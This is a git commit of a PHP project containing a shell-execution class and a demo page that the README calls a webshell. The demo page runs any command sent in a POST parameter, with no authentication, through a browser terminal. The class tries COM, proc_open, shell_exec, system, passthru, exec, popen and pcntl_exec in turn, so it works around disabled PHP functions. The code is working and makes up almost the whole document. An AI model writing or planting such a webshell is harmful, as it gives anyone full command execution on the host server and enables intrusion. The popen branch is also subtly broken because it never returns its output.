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feat(项目文件): 添加项目文件
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1
.gitignore
vendored
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.gitignore
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.idea/
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17
README.md
17
README.md
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# shell
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# 简而言之
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大概是PHP最强大的SHELL执行类了
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# 系统兼容
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PHP 5.4 + (主要是用了中括号数组，改掉中括号数组可以要求更低)
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# 使用说明
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## 示范代码
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```php
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<?php
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require 'shell.class.php';
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$command = "ls /";
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echo shell::command($command, "echo pwd", true);
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?>
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```
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## example.php
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这是一个使用shell.class.php实现的webshell工具，用于shell类演示。
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# 授权说明
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使用本类库你唯一需要做的就是把LICENSE文件往你用到的项目中拷贝一份。
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103
example.php
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example.php
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<?php
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/**
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* @author 肖其顿 <xiaoqidun@gmail.com>
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*/
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$command = isset($_POST['command']) ? strval($_POST['command']) : "";
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if ($command !== "") {
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require 'shell.class.php';
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echo shell::command($command, "echo pwd", true);
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exit;
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}
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?>
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<html>
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<head>
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<title>web shell</title>
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<style type="text/css">
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.author {
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width: 100%;
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color: white;
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text-align: center;
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background-color: black;
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}
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.commandInput {
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width: 100%;
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height: 3%;
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color: white;
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background-color: black;
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}
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.commandResult {
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width: 100%;
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height: 75%;
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color: white;
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overflow: scroll;
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background-color: black;
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}
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.commandHistory {
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width: 100%;
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height: 15%;
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color: white;
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overflow: scroll;
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background-color: black;
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}
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</style>
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<script type="text/javascript">
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function enter() {
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if (event.keyCode == 13) {
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command();
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}
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}
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function command() {
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var commandInput = document.getElementById('commandInput');
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if (commandInput.value.length > 0) {
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var commandResult = document.getElementById('commandResult');
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var commandHistory = document.getElementById('commandHistory');
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if (commandHistory.innerHTML.length < 1) {
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commandHistory.innerHTML = commandInput.value;
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} else {
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commandHistory.innerHTML = commandHistory.innerHTML + "\n" + commandInput.value;
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}
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commandHistory.scrollTop = commandHistory.scrollHeight;
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if (commandInput.value === 'clear') {
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commandInput.value = "";
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commandResult.innerHTML = "";
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commandHistory.innerHTML = "";
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return;
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}
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command_ajax();
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}
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}
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function command_ajax() {
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var xmlHttp = new XMLHttpRequest;
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var commandInput = document.getElementById('commandInput');
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var commandResult = document.getElementById('commandResult');
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xmlHttp.open("POST", "?", true);
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xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
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xmlHttp.send("command=" + encodeURI(commandInput.value));
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commandInput.value = "";
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xmlHttp.onreadystatechange = function () {
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if (xmlHttp.readyState === 4 && xmlHttp.status === 200) {
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if (commandResult.innerHTML.length < 1) {
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commandResult.innerHTML = xmlHttp.responseText;
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} else {
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commandResult.innerHTML = commandResult.innerHTML + "\n" + xmlHttp.responseText;
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}
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commandResult.scrollTop = commandResult.scrollHeight;
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}
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}
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}
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</script>
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</head>
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<body>
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<input id="commandInput" class="commandInput" onkeydown="enter()" placeholder="command">
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<pre id="commandHistory" class="commandHistory"></pre>
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<pre id="commandResult" class="commandResult"></pre>
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<div class="author">
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CopyRight © 2017-<?= date("Y") + 1 ?> xiaoqidun@gmail.com All Rights Reserved
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</div>
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</body>
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</html>
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251
shell.class.php
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251
shell.class.php
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<?php
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/**
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* @author 肖其顿 <xiaoqidun@gmail.com>
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*/
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class shell
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{
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public static $version = 'v1.0.0';
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public static function Convert($string, $to = 'utf-8', $from = 'auto,cp936')
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{
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$func = 'mb_convert_encoding';
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if (!function_exists($func)) {
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return $string;
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}
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return $func($string, $to, $from);
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}
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public static function Command($command, $testCommand = null, $convert = false)
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{
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$typeA = 'proc_open';
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$typeB = 'shell_exec';
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$typeC = 'exec';
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$typeD = 'system';
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$typeE = 'passthru';
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$typeF = 'popen';
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$typeG = 'pcntl_exec';
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$typeH = 'com';
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$typeRank = [
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$typeH,
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$typeA,
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$typeB,
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$typeD,
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$typeE,
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$typeC,
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$typeF,
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$typeG
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];
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if (!is_array($command)) $command = [$command];
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if (!is_array($testCommand) && $testCommand !== null) $testCommand = [$testCommand];
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$commandFunctions = [
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$typeA => [
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'command' =>
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function ($command) {
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$cmd = "exec " . self::GetShellFile();
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if (defined('PHP_WINDOWS_VERSION_BUILD')) {
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$cmd = self::GetShellFile();
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}
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if (!is_resource($sh = proc_open($cmd, [
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0 =>
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["pipe", "r"],
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1 =>
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["pipe", "w"]
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], $pipes))) {
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return false;
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}
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foreach ($command as $commandLine) {
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fwrite($pipes[0], $commandLine . PHP_EOL);
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}
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fclose($pipes[0]);
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$result = stream_get_contents($pipes[1]);
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fclose($pipes[1]);
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proc_close($sh);
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return $result;
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},
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'function' =>
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[
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'proc_open',
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'stream_get_contents'
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]
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],
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$typeB => [
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'command' => function ($command) {
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$commandResult = "";
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foreach ($command as $commandLine) {
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$commandResult .= shell_exec($commandLine);
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}
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return $commandResult;
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},
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'function' => [
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'shell_exec'
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]
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],
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$typeC => [
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'command' => function ($command) {
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$commandResult = "";
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foreach ($command as $commandLine) {
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exec($commandLine, $commandOutput);
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$commandResult .= implode(PHP_EOL, $commandOutput);
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}
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return $commandResult;
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},
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'function' => [
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'exec'
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]
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],
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$typeD => [
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'command' => function ($command) {
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ob_start();
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foreach ($command as $commandLine) {
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system($commandLine);
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}
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$commandResult = ob_get_clean();
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return $commandResult;
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},
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'function' => [
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'system',
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'ob_start',
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'ob_get_clean'
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]
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],
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$typeE => [
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'command' => function ($command) {
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ob_start();
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foreach ($command as $commandLine) {
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passthru($commandLine);
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}
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$commandResult = ob_get_clean();
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return $commandResult;
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},
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'function' => [
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'passthru',
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'ob_start',
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'ob_get_clean'
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]
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],
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$typeF => [
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'command' => function ($command) {
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$commandResult = "";
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foreach ($command as $commandLine) {
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$p = popen($commandLine, "r");
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while (!feof($p)) {
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$commandResult .= fgets($p);
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}
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}
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},
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'function' => [
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'popen'
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]
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],
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$typeG => [
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'command' => function ($command) {
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$command[] = '';
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$outputFile = tempnam(null, 'commandOutput_');
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$outputFilePipe = sprintf(" >> %s 2>&1%s", $outputFile, PHP_EOL);
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$commandString = implode($outputFilePipe, $command);
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$commandProcess = pcntl_fork();
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if ($commandProcess == 0) {
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pcntl_exec(self::GetShellFile(), ["-c", $commandString]);
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}
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pcntl_waitpid($commandProcess, $status);
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$commandResult = file_get_contents($outputFile);
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unlink($outputFile);
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return $commandResult;
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},
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'function' => [
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'pcntl_exec',
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'pcntl_fork',
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'pcntl_waitpid'
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]
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],
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$typeH => [
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'command' => function ($command) {
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$commandResult = "";
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try {
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$ws = new \COM("wscript.shell");
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$exec = $ws->Exec(self::GetShellFile());
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foreach ($command as $commandLine) {
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$exec->StdIn->WriteLine("$commandLine");
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}
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$exec->StdIn->WriteLine("exit");
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$exec->StdIn->Close();
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while (0 === $exec->Status) {
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time_nanosleep(0, 1e8);
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}
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$commandResult = $exec->StdOut->ReadAll() . $exec->StdErr->ReadAll();
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} catch (\Exception $exception) {
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}
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return $commandResult;
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},
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'class' => [
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'\COM'
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]
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]
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];
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foreach ($commandFunctions as $tag => $item) {
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if (isset($item['class'])) {
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foreach ($item['class'] as $cls) {
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if (!class_exists($cls)) {
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unset($func);
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unset($commandFunctions[$tag]);
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}
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}
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}
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if (isset($item['function'])) {
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foreach ($item['function'] as $func) {
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if (!function_exists($func)) {
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unset($func);
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unset($commandFunctions[$tag]);
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break;
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}
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unset($func);
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}
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}
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unset($tag);
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unset($item);
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}
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if ($testCommand !== null) {
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foreach ($commandFunctions as $tag => $item) {
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$commandResult = $item['command']($testCommand);
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if (1 > strlen($commandResult)) {
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unset($commandFunctions[$tag]);
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}
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unset($tag);
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unset($item);
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}
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}
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foreach ($typeRank as $type) {
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if (isset($commandFunctions[$type])) {
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$commandReturn = $commandFunctions[$type]['command']($command);
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if ($convert) {
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return self::Convert($commandReturn);
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}
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return $commandReturn;
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}
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unset($type);
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}
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return false;
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}
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public static function GetShellFile()
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{
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$shellFileList = [
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'C:\Windows\System32\cmd.exe',
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'C:\Windows\SysWOW64\cmd.exe',
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'/system/bin/sh',
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'/bin/bash',
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'/bin/sh'
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];
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foreach ($shellFileList as $shellFile) {
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if (is_executable($shellFile)) {
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return $shellFile;
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}
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}
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if (defined('PHP_WINDOWS_VERSION_BUILD')) {
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return 'cmd.exe';
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}
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return 'sh';
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}
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}
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